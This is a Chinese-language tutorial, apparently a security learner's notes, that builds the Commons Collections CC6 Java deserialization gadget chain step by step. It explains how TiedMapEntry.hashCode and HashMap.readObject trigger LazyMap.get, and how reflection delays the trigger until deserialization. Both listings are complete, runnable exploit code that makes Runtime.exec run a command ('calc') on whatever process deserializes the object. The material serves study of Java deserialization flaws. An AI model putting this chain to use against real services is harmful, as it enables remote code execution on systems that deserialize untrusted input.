前面和CC1一样
优点是不限制jdk版本和cc的版本
先开一个ChainedTransformer
然后创LazyMap
我们顺便执行一下避免上面写错
能弹计算器 没问题
后面就是CC6不同的地方了
我们需要一个TiedMapEntry
因为需要一个类调用了get方法
在TiedMapEntry
的getValue()
方法中调用了get()
其中map
和key
都可控
那么我们就需要一个类调用getValue
方法 TiedMapEntry的hashCode方法就可以
然后类似URLDNS的链子 我们可以知道这里可以用HashMap
连上
HashMap
的readObject
方法会调用hashCode
至此链子结束 我们可以写出如下代码
package org.example.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"ccc");
serialize(map2);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}
尝试执行 发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put
的时候
而不是我们期望的反序列化的时候
原因是HashMap在put的时候已经给整条链走完了
因为这里的key != null 所以继续进了hashCode
LazyMap调用get
然后没有key
put
进去了 在后面反序列化的时候就有key
了
有key
就直接return map.get(key)
了
为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下
package org.example.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
Map map2 = new HashMap();
map2.put(tiedMapEntry, "ccc");
lazyMap.remove("xxx");
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
serialize(map2);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}